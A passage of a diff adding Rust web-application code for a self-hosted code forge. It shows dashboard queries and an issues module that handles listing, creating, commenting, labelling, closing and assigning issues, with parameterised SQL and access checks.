| 271 | + | AND c.author_user_id IS DISTINCT FROM $1 | |
| 272 | + | AND NOT EXISTS ( | |
| 273 | + | SELECT 1 FROM reviews rv | |
| 274 | + | WHERE rv.change_id_fk = c.id | |
| 275 | + | AND rv.reviewer_id = $1 | |
| 276 | + | AND rv.revision_id = c.head_revision_id | |
| 277 | + | ) | |
| 278 | + | ORDER BY c.updated_at DESC | |
| 279 | + | LIMIT 10 | |
| 280 | + | "# | |
| 281 | + | ); | |
| 282 | + | ||
| 283 | + | let rows: Vec<ChangeRow> = sqlx::query_as(&sql) | |
| 284 | + | .bind(user.id) | |
| 285 | + | .bind(user.is_admin) | |
| 286 | + | .fetch_all(&state.db) | |
| 287 | + | .await?; | |
| 288 | + | ||
| 289 | + | Ok(to_dash_changes(rows)) | |
| 290 | + | } | |
| 291 | + | ||
| 292 | + | async fn my_open_changes( | |
| 293 | + | state: &AppState, | |
| 294 | + | user: &df_db::models::User, | |
| 295 | + | ) -> AppResult<Vec<DashChange>> { | |
| 296 | + | let sql = format!( | |
| 297 | + | r#" | |
| 298 | + | {CHANGE_COLUMNS} | |
| 299 | + | WHERE {VISIBLE_TO_VIEWER} | |
| 300 | + | AND c.author_user_id = $1 | |
| 301 | + | AND c.state IN ('open', 'draft') | |
| 302 | + | ORDER BY c.updated_at DESC | |
| 303 | + | LIMIT 10 | |
| 304 | + | "# | |
| 305 | + | ); | |
| 306 | + | ||
| 307 | + | let rows: Vec<ChangeRow> = sqlx::query_as(&sql) | |
| 308 | + | .bind(user.id) | |
| 309 | + | .bind(user.is_admin) | |
| 310 | + | .fetch_all(&state.db) | |
| 311 | + | .await?; | |
| 312 | + | ||
| 313 | + | Ok(to_dash_changes(rows)) | |
| 314 | + | } | |
| 315 | + | ||
| 316 | + | /// Recent events across every repository the viewer can reach. | |
| 317 | + | async fn watched_activity( | |
| 318 | + | state: &AppState, | |
| 319 | + | user: &df_db::models::User, | |
| 320 | + | ) -> AppResult<Vec<ActivityItem>> { | |
| 321 | + | let sql = format!( | |
| 322 | + | r#" | |
| 323 | + | SELECT COALESCE(ou.handle, og.handle) AS owner, | |
| 324 | + | r.name::text, | |
| 325 | + | ac.handle AS actor, | |
| 326 | + | e.kind, | |
| 327 | + | ch.number, | |
| 328 | + | ch.title, | |
| 329 | + | e.created_at | |
| 330 | + | FROM events e | |
| 331 | + | JOIN repos r ON r.id = e.repo_id | |
| 332 | + | LEFT JOIN users ou ON ou.id = r.owner_user_id | |
| 333 | + | LEFT JOIN orgs og ON og.id = r.owner_org_id | |
| 334 | + | LEFT JOIN users ac ON ac.id = e.actor_id | |
| 335 | + | LEFT JOIN changes ch | |
| 336 | + | ON ch.id = e.subject_id AND e.subject_type = 'change' | |
| 337 | + | WHERE {VISIBLE_TO_VIEWER} | |
| 338 | + | ORDER BY e.created_at DESC | |
| 339 | + | LIMIT 15 | |
| 340 | + | "# | |
| 341 | + | ); | |
| 342 | + | ||
| 343 | + | let rows: Vec<( | |
| 344 | + | String, | |
| 345 | + | String, | |
| 346 | + | Option<String>, | |
| 347 | + | String, | |
| 348 | + | Option<i64>, | |
| 349 | + | Option<String>, | |
| 350 | + | DateTime<Utc>, | |
| 351 | + | )> = sqlx::query_as(&sql) | |
| 352 | + | .bind(user.id) | |
| 353 | + | .bind(user.is_admin) | |
| 354 | + | .fetch_all(&state.db) | |
| 355 | + | .await?; | |
| 356 | + | ||
| 357 | + | Ok(rows | |
| 358 | + | .into_iter() | |
| 359 | + | .map( | |
| 360 | + | |(owner, repo, actor, kind, change_number, change_title, when)| ActivityItem { | |
| 361 | + | owner, | |
| 362 | + | repo, | |
| 363 | + | actor, | |
| 364 | + | kind, | |
| 365 | + | change_number, | |
| 366 | + | change_title, | |
| 367 | + | when, | |
| 368 | + | }, | |
| 369 | + | ) | |
| 370 | + | .collect()) | |
| 371 | + | } | |
Acrates/df-web/src/routes/issue.rs832 lines+832−0
| @@ −0,0 +1,832 @@ | |||
| 1 | + | //! Issues (M5). | |
| 2 | + | //! | |
| 3 | + | //! Issues share the `comments` table with changes — the `one_target` CHECK on | |
| 4 | + | //! that table is what keeps a comment from belonging to both. Sharing it means | |
| 5 | + | //! the sanitiser, the rendering, and the comment view are the same in both | |
| 6 | + | //! places rather than two implementations that drift. | |
| 7 | + | ||
| 8 | + | use axum::extract::{Path as UrlPath, Query, State}; | |
| 9 | + | use axum::response::{IntoResponse, Redirect, Response}; | |
| 10 | + | use axum::Form; | |
| 11 | + | use df_db::ids::new_id; | |
| 12 | + | use serde::Deserialize; | |
| 13 | + | use uuid::Uuid; | |
| 14 | + | ||
| 15 | + | use crate::error::{AppError, AppResult}; | |
| 16 | + | use crate::repo_ctx::RepoContext; | |
| 17 | + | use crate::routes::settings::urlencode; | |
| 18 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 19 | + | use crate::views::issue as v; | |
| 20 | + | use crate::views::repo as rv; | |
| 21 | + | use crate::views::review::CommentRow; | |
| 22 | + | use crate::views::{self, Chrome}; | |
| 23 | + | ||
| 24 | + | #[derive(Deserialize, Default)] | |
| 25 | + | pub struct ListQuery { | |
| 26 | + | pub state: Option<String>, | |
| 27 | + | pub label: Option<String>, | |
| 28 | + | pub assignee: Option<String>, | |
| 29 | + | pub error: Option<String>, | |
| 30 | + | } | |
| 31 | + | ||
| 32 | + | /// `GET /{owner}/{repo}/issues` | |
| 33 | + | pub async fn list( | |
| 34 | + | State(state): State<AppState>, | |
| 35 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 36 | + | Query(q): Query<ListQuery>, | |
| 37 | + | CurrentUser(user): CurrentUser, | |
| 38 | + | CsrfToken(csrf): CsrfToken, | |
| 39 | + | Nonce(nonce): Nonce, | |
| 40 | + | ) -> AppResult<Response> { | |
| 41 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 42 | + | ||
| 43 | + | let state_filter = q.state.as_deref().unwrap_or("open"); | |
| 44 | + | let label = q.label.as_deref().filter(|s| !s.is_empty()); | |
| 45 | + | let assignee = q.assignee.as_deref().filter(|s| !s.is_empty()); | |
| 46 | + | ||
| 47 | + | let rows = load_list(&state, ctx.repo.id, state_filter, label, assignee).await?; | |
| 48 | + | let all_labels = load_labels(&state, ctx.repo.id).await?; | |
| 49 | + | ||
| 50 | + | let body = maud::html! { | |
| 51 | + | (rv::header(&ctx, "issues")) | |
| 52 | + | (v::list(&ctx, &rows, v::ListFilters { | |
| 53 | + | state: state_filter, | |
| 54 | + | label, | |
| 55 | + | assignee, | |
| 56 | + | all_labels: &all_labels, | |
| 57 | + | })) | |
| 58 | + | }; | |
| 59 | + | ||
| 60 | + | Ok(views::page( | |
| 61 | + | Chrome { | |
| 62 | + | title: &format!("Issues · {}/{}", ctx.owner, ctx.repo.name), | |
| 63 | + | user: user.as_deref(), | |
| 64 | + | csrf: &csrf, | |
| 65 | + | nonce: &nonce, | |
| 66 | + | }, | |
| 67 | + | body, | |
| 68 | + | ) | |
| 69 | + | .into_response()) | |
| 70 | + | } | |
| 71 | + | ||
| 72 | + | /// `GET /{owner}/{repo}/issues/new` | |
| 73 | + | pub async fn new_form( | |
| 74 | + | State(state): State<AppState>, | |
| 75 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 76 | + | Query(q): Query<ListQuery>, | |
| 77 | + | CurrentUser(user): CurrentUser, | |
| 78 | + | CsrfToken(csrf): CsrfToken, | |
| 79 | + | Nonce(nonce): Nonce, | |
| 80 | + | ) -> AppResult<Response> { | |
| 81 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 82 | + | if user.is_none() { | |
| 83 | + | return Err(AppError::Unauthorized); | |
| 84 | + | } | |
| 85 | + | // Filing an issue is a comment-level action: anybody who can read a public | |
| 86 | + | // repository can open one. | |
| 87 | + | if !ctx.access.can_comment() { | |
| 88 | + | return Err(AppError::Forbidden); | |
| 89 | + | } | |
| 90 | + | ||
| 91 | + | let labels = load_labels(&state, ctx.repo.id).await?; | |
| 92 | + | ||
| 93 | + | let body = maud::html! { | |
| 94 | + | (rv::header(&ctx, "issues")) | |
| 95 | + | (v::new_form(&ctx, v::NewIssue { csrf: &csrf, labels: &labels, error: q.error.as_deref() })) | |
| 96 | + | }; | |
| 97 | + | ||
| 98 | + | Ok(views::page( | |
| 99 | + | Chrome { | |
| 100 | + | title: &format!("New issue · {}/{}", ctx.owner, ctx.repo.name), | |
| 101 | + | user: user.as_deref(), | |
| 102 | + | csrf: &csrf, | |
| 103 | + | nonce: &nonce, | |
| 104 | + | }, | |
| 105 | + | body, | |
| 106 | + | ) | |
| 107 | + | .into_response()) | |
| 108 | + | } | |
| 109 | + | ||
| 110 | + | #[derive(Deserialize)] | |
| 111 | + | pub struct CreateIssue { | |
| 112 | + | pub title: String, | |
| 113 | + | pub body: Option<String>, | |
| 114 | + | /// Repeated checkbox; absent when none are ticked. | |
| 115 | + | #[serde(default)] | |
| 116 | + | pub labels: Vec<String>, | |
| 117 | + | } | |
| 118 | + | ||
| 119 | + | /// `POST /{owner}/{repo}/issues` | |
| 120 | + | pub async fn create( | |
| 121 | + | State(state): State<AppState>, | |
| 122 | + | UrlPath((owner, name)): UrlPath<(String, String)>, | |
| 123 | + | CurrentUser(user): CurrentUser, | |
| 124 | + | Form(form): Form<CreateIssue>, | |
| 125 | + | ) -> AppResult<Response> { | |
| 126 | + | let Some(user) = user else { | |
| 127 | + | return Err(AppError::Unauthorized); | |
| 128 | + | }; | |
| 129 | + | let ctx = RepoContext::load(&state, &owner, &name, Some(&user)).await?; | |
| 130 | + | if !ctx.access.can_comment() { | |
| 131 | + | return Err(AppError::Forbidden); | |
| 132 | + | } | |
| 133 | + | ||
| 134 | + | let title: String = form.title.trim().chars().take(300).collect(); | |
| 135 | + | if title.is_empty() { | |
| 136 | + | return Ok(Redirect::to(&format!( | |
| 137 | + | "{}/issues/new?error={}", | |
| 138 | + | ctx.base(), | |
| 139 | + | urlencode("An issue needs a title.") | |
| 140 | + | )) | |
| 141 | + | .into_response()); | |
| 142 | + | } | |
| 143 | + | ||
| 144 | + | let body = form.body.as_deref().unwrap_or("").trim(); | |
| 145 | + | if body.len() > 256 * 1024 { | |
| 146 | + | return Ok(Redirect::to(&format!( | |
| 147 | + | "{}/issues/new?error={}", | |
| 148 | + | ctx.base(), | |
| 149 | + | urlencode("That description is too long.") | |
| 150 | + | )) | |
| 151 | + | .into_response()); | |
| 152 | + | } | |
| 153 | + | ||
| 154 | + | let mut tx = state.db.begin().await?; | |
| 155 | + | ||
| 156 | + | // Same row-lock pattern the change counter uses, so two concurrent issues | |
| 157 | + | // cannot take the same number. | |
| 158 | + | let (number,): (i64,) = sqlx::query_as( | |
| 159 | + | "UPDATE repo_counters SET next_issue = next_issue + 1 | |
| 160 | + | WHERE repo_id = $1 RETURNING next_issue - 1", | |
| 161 | + | ) | |
| 162 | + | .bind(ctx.repo.id) | |
| 163 | + | .fetch_one(&mut *tx) | |
| 164 | + | .await?; | |
| 165 | + | ||
| 166 | + | let issue_id = new_id(); | |
| 167 | + | sqlx::query( | |
| 168 | + | "INSERT INTO issues (id, repo_id, number, title, body, author_user_id) | |
| 169 | + | VALUES ($1, $2, $3, $4, $5, $6)", | |
| 170 | + | ) | |
| 171 | + | .bind(issue_id) | |
| 172 | + | .bind(ctx.repo.id) | |
| 173 | + | .bind(number) | |
| 174 | + | .bind(&title) | |
| 175 | + | .bind(body) | |
| 176 | + | .bind(user.id) | |
| 177 | + | .execute(&mut *tx) | |
| 178 | + | .await?; | |
| 179 | + | ||
| 180 | + | for label in form.labels.iter().take(20) { | |
| 181 | + | sqlx::query( | |
| 182 | + | "INSERT INTO issue_labels (issue_id, label_id) | |
| 183 | + | SELECT $1, id FROM labels WHERE repo_id = $2 AND name = $3 | |
| 184 | + | ON CONFLICT DO NOTHING", | |
| 185 | + | ) | |
| 186 | + | .bind(issue_id) | |
| 187 | + | .bind(ctx.repo.id) | |
| 188 | + | .bind(label) | |
| 189 | + | .execute(&mut *tx) | |
| 190 | + | .await?; | |
| 191 | + | } | |
| 192 | + | ||
| 193 | + | tx.commit().await?; | |
| 194 | + | ||
| 195 | + | record_references(&state, ctx.repo.id, "issue", issue_id, body).await; | |
| 196 | + | ||
| 197 | + | crate::routes::review::event( | |
| 198 | + | &state, | |
| 199 | + | ctx.repo.id, | |
| 200 | + | Some(user.id), | |
| 201 | + | "issue.opened", | |
| 202 | + | issue_id, | |
| 203 | + | serde_json::json!({ "number": number }), | |
| 204 | + | ) | |
| 205 | + | .await; | |
| 206 | + | ||
| 207 | + | Ok(Redirect::to(&format!("{}/issues/{number}", ctx.base())).into_response()) | |
| 208 | + | } | |
| 209 | + | ||
| 210 | + | /// `GET /{owner}/{repo}/issues/{number}` | |
| 211 | + | pub async fn detail( | |
| 212 | + | State(state): State<AppState>, | |
| 213 | + | UrlPath((owner, name, number)): UrlPath<(String, String, i64)>, | |
| 214 | + | CurrentUser(user): CurrentUser, | |
| 215 | + | CsrfToken(csrf): CsrfToken, | |
| 216 | + | Nonce(nonce): Nonce, | |
| 217 | + | ) -> AppResult<Response> { | |
| 218 | + | let ctx = RepoContext::load(&state, &owner, &name, user.as_deref()).await?; | |
| 219 | + | let issue = load_issue(&state, ctx.repo.id, number) | |
| 220 | + | .await? | |
| 221 | + | .ok_or(AppError::NotFound)?; | |
| 222 | + | ||
| 223 | + | let labels = load_issue_labels(&state, issue.id).await?; | |
| 224 | + | let all_labels = load_labels(&state, ctx.repo.id).await?; | |
| 225 | + | let assignees = load_assignees(&state, issue.id).await?; | |
| 226 | + | let comments = load_comments(&state, issue.id, &ctx).await?; | |
| 227 | + | let referenced_by = load_referenced_by(&state, ctx.repo.id, "issue", issue.id).await?; | |
| 228 | + | ||
| 229 | + | let is_author = matches!((&user, &issue.author), (Some(u), Some(a)) if &u.handle == a); | |
| 230 | + | let can_manage = ctx.access.can_manage_changes() || is_author; | |
| 231 | + | ||
| 232 | + | let body_html = render(&ctx, &issue.body); | |
| 233 | + | ||
| 234 | + | let body = maud::html! { | |
| 235 | + | (rv::header(&ctx, "issues")) | |
| 236 | + | (v::detail(&ctx, v::Detail { | |
| 237 | + | number: issue.number, | |
| 238 | + | title: &issue.title, | |
| 239 | + | body_html: &body_html, | |
| 240 | + | state: &issue.state, | |
| 241 | + | author: issue.author.as_deref(), | |
| 242 | + | created_at: issue.created_at, | |
| 243 | + | labels: &labels, | |
| 244 | + | all_labels: &all_labels, | |
| 245 | + | assignees: &assignees, | |
| 246 | + | comments: &comments, | |
| 247 | + | referenced_by: &referenced_by, | |
| 248 | + | can_comment: user.is_some() && ctx.access.can_comment(), | |
| 249 | + | can_manage, | |
| 250 | + | csrf: &csrf, | |
| 251 | + | })) | |
| 252 | + | }; | |
| 253 | + | ||
| 254 | + | Ok(views::page( | |
| 255 | + | Chrome { | |
| 256 | + | title: &format!("{} · {}/{}", issue.title, ctx.owner, ctx.repo.name), | |
| 257 | + | user: user.as_deref(), | |
| 258 | + | csrf: &csrf, | |
| 259 | + | nonce: &nonce, | |
| 260 | + | }, | |
| 261 | + | body, | |
| 262 | + | ) | |
| 263 | + | .into_response()) | |
| 264 | + | } | |
| 265 | + | ||
| 266 | + | #[derive(Deserialize)] | |
| 267 | + | pub struct IssueComment { | |
| 268 | + | pub body: String, | |
| 269 | + | /// Set by the "comment and close" button. | |
| 270 | + | pub state: Option<String>, | |
| 271 | + | } | |
| 272 | + | ||
| 273 | + | /// `POST /{owner}/{repo}/issues/{number}/comments` | |
| 274 | + | pub async fn comment( | |
| 275 | + | State(state): State<AppState>, | |
| 276 | + | UrlPath((owner, name, number)): UrlPath<(String, String, i64)>, | |
| 277 | + | CurrentUser(user): CurrentUser, | |
| 278 | + | Form(form): Form<IssueComment>, | |
| 279 | + | ) -> AppResult<Response> { | |
| 280 | + | let Some(user) = user else { | |
| 281 | + | return Err(AppError::Unauthorized); | |
| 282 | + | }; | |
| 283 | + | let ctx = RepoContext::load(&state, &owner, &name, Some(&user)).await?; | |
| 284 | + | if !ctx.access.can_comment() { | |
| 285 | + | return Err(AppError::Forbidden); | |
| 286 | + | } | |
| 287 | + | let issue = load_issue(&state, ctx.repo.id, number) | |
| 288 | + | .await? | |
| 289 | + | .ok_or(AppError::NotFound)?; | |
| 290 | + | ||
| 291 | + | let body = form.body.trim(); | |
| 292 | + | if !body.is_empty() && body.len() <= 64 * 1024 { | |
| 293 | + | let comment_id = new_id(); | |
| 294 | + | sqlx::query( | |
| 295 | + | "INSERT INTO comments (id, repo_id, issue_id, author_user_id, body) | |
| 296 | + | VALUES ($1, $2, $3, $4, $5)", | |
| 297 | + | ) | |
| 298 | + | .bind(comment_id) | |
| 299 | + | .bind(ctx.repo.id) | |
| 300 | + | .bind(issue.id) | |
| 301 | + | .bind(user.id) | |
| 302 | + | .execute(&state.db) | |
| 303 | + | .await | |
| 304 | + | .map(|_| ()) | |
| 305 | + | .or_else(|e| { | |
| 306 | + | tracing::error!("inserting an issue comment failed: {e}"); | |
| 307 | + | Err(e) | |
| 308 | + | })?; | |
| 309 | + | ||
| 310 | + | record_references(&state, ctx.repo.id, "comment", comment_id, body).await; | |
| 311 | + | } | |
| 312 | + | ||
| 313 | + | // "Comment and close" is one button and must be one action; two round trips | |
| 314 | + | // would let the comment land and the close fail. | |
| 315 | + | if let Some(next) = form.state.as_deref() { | |
| 316 | + | let is_author = issue.author.as_deref() == Some(user.handle.as_str()); | |
| 317 | + | if (ctx.access.can_manage_changes() || is_author) | |
| 318 | + | && matches!(next, "open" | "closed") | |
| 319 | + | { | |
| 320 | + | set_issue_state(&state, &ctx, &issue, next, user.id).await?; | |
| 321 | + | } | |
| 322 | + | } | |
| 323 | + | ||
| 324 | + | sqlx::query("UPDATE issues SET updated_at = now() WHERE id = $1") | |
| 325 | + | .bind(issue.id) | |
| 326 | + | .execute(&state.db) | |
| 327 | + | .await?; | |
| 328 | + | ||
| 329 | + | Ok(Redirect::to(&format!("{}/issues/{number}", ctx.base())).into_response()) | |
| 330 | + | } | |
| 331 | + | ||
| 332 | + | #[derive(Deserialize)] | |
| 333 | + | pub struct SetState { | |
| 334 | + | pub state: String, | |
| 335 | + | } | |
| 336 | + | ||
| 337 | + | /// `POST /{owner}/{repo}/issues/{number}/state` | |
| 338 | + | pub async fn set_state( | |
| 339 | + | State(state): State<AppState>, | |
| 340 | + | UrlPath((owner, name, number)): UrlPath<(String, String, i64)>, | |
| 341 | + | CurrentUser(user): CurrentUser, | |
| 342 | + | Form(form): Form<SetState>, | |
| 343 | + | ) -> AppResult<Response> { | |
| 344 | + | let Some(user) = user else { | |
| 345 | + | return Err(AppError::Unauthorized); | |
| 346 | + | }; | |
| 347 | + | let ctx = RepoContext::load(&state, &owner, &name, Some(&user)).await?; | |
| 348 | + | let issue = load_issue(&state, ctx.repo.id, number) | |
| 349 | + | .await? | |
| 350 | + | .ok_or(AppError::NotFound)?; | |
| 351 | + | ||
| 352 | + | let is_author = issue.author.as_deref() == Some(user.handle.as_str()); | |
| 353 | + | if !ctx.access.can_manage_changes() && !is_author { | |
| 354 | + | return Err(AppError::Forbidden); | |
| 355 | + | } | |
| 356 | + | if !matches!(form.state.as_str(), "open" | "closed") { | |
| 357 | + | return Err(AppError::BadRequest("unknown state".into())); | |
| 358 | + | } | |
| 359 | + | ||
| 360 | + | set_issue_state(&state, &ctx, &issue, &form.state, user.id).await?; | |
| 361 | + | ||
| 362 | + | Ok(Redirect::to(&format!("{}/issues/{number}", ctx.base())).into_response()) | |
| 363 | + | } | |
| 364 | + | ||
| 365 | + | #[derive(Deserialize)] | |
| 366 | + | pub struct SetLabels { | |
| 367 | + | #[serde(default)] | |
| 368 | + | pub labels: Vec<String>, | |
| 369 | + | } | |
| 370 | + | ||
| 371 | + | /// `POST /{owner}/{repo}/issues/{number}/labels` | |
| 372 | + | pub async fn set_labels( | |
| 373 | + | State(state): State<AppState>, | |
| 374 | + | UrlPath((owner, name, number)): UrlPath<(String, String, i64)>, | |
| 375 | + | CurrentUser(user): CurrentUser, | |
| 376 | + | Form(form): Form<SetLabels>, | |
| 377 | + | ) -> AppResult<Response> { | |
| 378 | + | let Some(user) = user else { | |
| 379 | + | return Err(AppError::Unauthorized); | |
| 380 | + | }; | |
| 381 | + | let ctx = RepoContext::load(&state, &owner, &name, Some(&user)).await?; | |
| 382 | + | if !ctx.access.can_manage_changes() { | |
| 383 | + | return Err(AppError::Forbidden); | |
| 384 | + | } | |
| 385 | + | let issue = load_issue(&state, ctx.repo.id, number) | |
| 386 | + | .await? | |
| 387 | + | .ok_or(AppError::NotFound)?; | |
| 388 | + | ||
| 389 | + | let mut tx = state.db.begin().await?; | |
| 390 | + | sqlx::query("DELETE FROM issue_labels WHERE issue_id = $1") | |
| 391 | + | .bind(issue.id) | |
| 392 | + | .execute(&mut *tx) | |
| 393 | + | .await?; | |
| 394 | + | ||
| 395 | + | for label in form.labels.iter().take(20) { | |
| 396 | + | sqlx::query( | |
| 397 | + | "INSERT INTO issue_labels (issue_id, label_id) | |
| 398 | + | SELECT $1, id FROM labels WHERE repo_id = $2 AND name = $3 | |
| 399 | + | ON CONFLICT DO NOTHING", | |
| 400 | + | ) | |
| 401 | + | .bind(issue.id) | |
| 402 | + | .bind(ctx.repo.id) | |
| 403 | + | .bind(label) | |
| 404 | + | .execute(&mut *tx) | |
| 405 | + | .await?; | |
| 406 | + | } | |
| 407 | + | tx.commit().await?; | |
| 408 | + | ||
| 409 | + | Ok(Redirect::to(&format!("{}/issues/{number}", ctx.base())).into_response()) | |
| 410 | + | } | |
| 411 | + | ||
| 412 | + | #[derive(Deserialize)] | |
| 413 | + | pub struct SetAssignees { | |
| 414 | + | pub assignees: String, | |
| 415 | + | } | |
| 416 | + | ||
| 417 | + | /// `POST /{owner}/{repo}/issues/{number}/assignees` | |
| 418 | + | pub async fn set_assignees( | |
| 419 | + | State(state): State<AppState>, | |
| 420 | + | UrlPath((owner, name, number)): UrlPath<(String, String, i64)>, | |
| 421 | + | CurrentUser(user): CurrentUser, | |
| 422 | + | Form(form): Form<SetAssignees>, | |
| 423 | + | ) -> AppResult<Response> { | |
| 424 | + | let Some(user) = user else { | |
| 425 | + | return Err(AppError::Unauthorized); | |
| 426 | + | }; | |
| 427 | + | let ctx = RepoContext::load(&state, &owner, &name, Some(&user)).await?; | |
| 428 | + | if !ctx.access.can_manage_changes() { | |
| 429 | + | return Err(AppError::Forbidden); | |
| 430 | + | } | |
| 431 | + | let issue = load_issue(&state, ctx.repo.id, number) | |
| 432 | + | .await? | |
| 433 | + | .ok_or(AppError::NotFound)?; | |
| 434 | + | ||
| 435 | + | let handles: Vec<String> = form | |
| 436 | + | .assignees | |
| 437 | + | .split(',') | |
| 438 | + | .map(|s| s.trim().trim_start_matches('@').to_lowercase()) | |
| 439 | + | .filter(|s| !s.is_empty()) | |
| 440 | + | .take(20) | |
| 441 | + | .collect(); | |
| 442 | + | ||
| 443 | + | let mut tx = state.db.begin().await?; | |
| 444 | + | sqlx::query("DELETE FROM issue_assignees WHERE issue_id = $1") | |
| 445 | + | .bind(issue.id) | |
| 446 | + | .execute(&mut *tx) | |
| 447 | + | .await?; | |
| 448 | + | ||
| 449 | + | for handle in &handles { | |
| 450 | + | // Only users who can actually read the repository. Assigning somebody | |
| 451 | + | // to an issue they cannot open would be a way to learn that a private | |
| 452 | + | // repository exists. | |
| 453 | + | sqlx::query( | |
| 454 | + | "INSERT INTO issue_assignees (issue_id, user_id) | |
| 455 | + | SELECT $1, u.id FROM users u | |
| 456 | + | WHERE u.handle = $2 | |
| 457 | + | AND ($3 = 'public' | |
| 458 | + | OR u.is_admin | |
| 459 | + | OR u.id = $4 | |
| 460 | + | OR EXISTS (SELECT 1 FROM repo_collaborators c | |
| 461 | + | WHERE c.repo_id = $5 AND c.user_id = u.id) | |
| 462 | + | OR EXISTS (SELECT 1 FROM org_members m | |
| 463 | + | WHERE m.org_id = $6 AND m.user_id = u.id)) | |
| 464 | + | ON CONFLICT DO NOTHING", | |
| 465 | + | ) | |
| 466 | + | .bind(issue.id) | |
| 467 | + | .bind(handle) | |
| 468 | + | .bind(if ctx.repo.is_public() { "public" } else { "private" }) | |
| 469 | + | .bind(ctx.repo.owner_user_id) | |
| 470 | + | .bind(ctx.repo.id) | |
| 471 | + | .bind(ctx.repo.owner_org_id) | |
| 472 | + | .execute(&mut *tx) | |
| 473 | + | .await?; | |
| 474 | + | } | |
| 475 | + | tx.commit().await?; | |
| 476 | + | ||
| 477 | + | Ok(Redirect::to(&format!("{}/issues/{number}", ctx.base())).into_response()) | |
| 478 | + | } | |
| 479 | + | ||
| 480 | + | // ─── loading ───────────────────────────────────────────────────────────────── | |
| 481 | + | ||
| 482 | + | pub struct Issue { | |
| 483 | + | pub id: Uuid, | |
| 484 | + | pub number: i64, | |
| 485 | + | pub title: String, | |
| 486 | + | pub body: String, | |
| 487 | + | pub state: String, | |
| 488 | + | pub author: Option<String>, | |
| 489 | + | pub created_at: chrono::DateTime<chrono::Utc>, | |
| 490 | + | } | |
| 491 | + | ||
| 492 | + | async fn load_issue(state: &AppState, repo_id: Uuid, number: i64) -> AppResult<Option<Issue>> { | |
| 493 | + | let row: Option<( | |
| 494 | + | Uuid, | |
| 495 | + | i64, | |
| 496 | + | String, | |
| 497 | + | String, | |
| 498 | + | String, | |
| 499 | + | Option<String>, | |
| 500 | + | chrono::DateTime<chrono::Utc>, | |
| 501 | + | )> = sqlx::query_as( | |
| 502 | + | "SELECT i.id, i.number, i.title, i.body, i.state::text, u.handle::text, i.created_at | |
| 503 | + | FROM issues i LEFT JOIN users u ON u.id = i.author_user_id | |
| 504 | + | WHERE i.repo_id = $1 AND i.number = $2", | |
| 505 | + | ) | |
| 506 | + | .bind(repo_id) | |
| 507 | + | .bind(number) | |
| 508 | + | .fetch_optional(&state.db) | |
| 509 | + | .await?; | |
| 510 | + | ||
| 511 | + | Ok(row.map( | |
| 512 | + | |(id, number, title, body, st, author, created_at)| Issue { | |
| 513 | + | id, | |
| 514 | + | number, | |
| 515 | + | title, | |
| 516 | + | body, | |
| 517 | + | state: st, | |
| 518 | + | author, | |
| 519 | + | created_at, | |
| 520 | + | }, | |
| 521 | + | )) | |
| 522 | + | } | |
| 523 | + | ||
| 524 | + | async fn load_list( | |
| 525 | + | state: &AppState, | |
| 526 | + | repo_id: Uuid, | |
| 527 | + | state_filter: &str, | |
| 528 | + | label: Option<&str>, | |
| 529 | + | assignee: Option<&str>, | |
| 530 | + | ) -> AppResult<Vec<v::IssueRow>> { | |
| 531 | + | let rows: Vec<(i64, String, String, Option<String>, chrono::DateTime<chrono::Utc>, i64)> = | |
| 532 | + | sqlx::query_as( | |
| 533 | + | r#" | |
| 534 | + | SELECT i.number, i.title, i.state::text, u.handle::text, i.updated_at, | |
| 535 | + | (SELECT count(*) FROM comments c WHERE c.issue_id = i.id) AS comments | |
| 536 | + | FROM issues i | |
| 537 | + | LEFT JOIN users u ON u.id = i.author_user_id | |
| 538 | + | WHERE i.repo_id = $1 | |
| 539 | + | AND ($2 = 'all' OR i.state::text = $2) | |
| 540 | + | AND ($3::text IS NULL OR EXISTS ( | |
| 541 | + | SELECT 1 FROM issue_labels il JOIN labels l ON l.id = il.label_id | |
| 542 | + | WHERE il.issue_id = i.id AND l.name = $3)) | |
| 543 | + | AND ($4::text IS NULL OR EXISTS ( | |
| 544 | + | SELECT 1 FROM issue_assignees ia JOIN users au ON au.id = ia.user_id | |
| 545 | + | WHERE ia.issue_id = i.id AND au.handle = $4)) | |
| 546 | + | ORDER BY i.updated_at DESC | |
| 547 | + | LIMIT 100 | |
| 548 | + | "#, | |
| 549 | + | ) | |
| 550 | + | .bind(repo_id) | |
| 551 | + | .bind(state_filter) | |
| 552 | + | .bind(label) | |
| 553 | + | .bind(assignee) | |
| 554 | + | .fetch_all(&state.db) | |
| 555 | + | .await?; | |
| 556 | + | ||
| 557 | + | // Labels and assignees are loaded per row rather than aggregated in the | |
| 558 | + | // query above: the list is capped at 100, and two small extra queries per | |
| 559 | + | // row read far better than three levels of array_agg. | |
| 560 | + | let mut out = Vec::with_capacity(rows.len()); | |
| 561 | + | for (number, title, st, author, updated_at, comment_count) in rows { | |
| 562 | + | let id: Uuid = | |
| 563 | + | sqlx::query_scalar("SELECT id FROM issues WHERE repo_id = $1 AND number = $2") | |
| 564 | + | .bind(repo_id) | |
| 565 | + | .bind(number) | |
| 566 | + | .fetch_one(&state.db) | |
| 567 | + | .await?; | |
| 568 | + | ||
| 569 | + | out.push(v::IssueRow { | |
| 570 | + | number, | |
| 571 | + | title, | |
| 572 | + | state: st, | |
| 573 | + | author, | |
| 574 | + | updated_at, | |
| 575 | + | comment_count, | |
| 576 | + | labels: load_issue_labels(state, id).await?, | |
| 577 | + | assignees: load_assignees(state, id).await?, | |
| 578 | + | }); | |
| 579 | + | } | |
| 580 | + | Ok(out) | |
| 581 | + | } | |
| 582 | + | ||
| 583 | + | async fn load_labels(state: &AppState, repo_id: Uuid) -> AppResult<Vec<v::Label>> { | |
| 584 | + | let rows: Vec<(String, String)> = | |
| 585 | + | sqlx::query_as("SELECT name, color FROM labels WHERE repo_id = $1 ORDER BY name") | |
| 586 | + | .bind(repo_id) | |
| 587 | + | .fetch_all(&state.db) | |
| 588 | + | .await?; | |
| 589 | + | Ok(rows | |
| 590 | + | .into_iter() | |
| 591 | + | .map(|(name, color)| v::Label { name, color }) | |
| 592 | + | .collect()) | |
| 593 | + | } | |
| 594 | + | ||
| 595 | + | async fn load_issue_labels(state: &AppState, issue_id: Uuid) -> AppResult<Vec<v::Label>> { | |
| 596 | + | let rows: Vec<(String, String)> = sqlx::query_as( | |
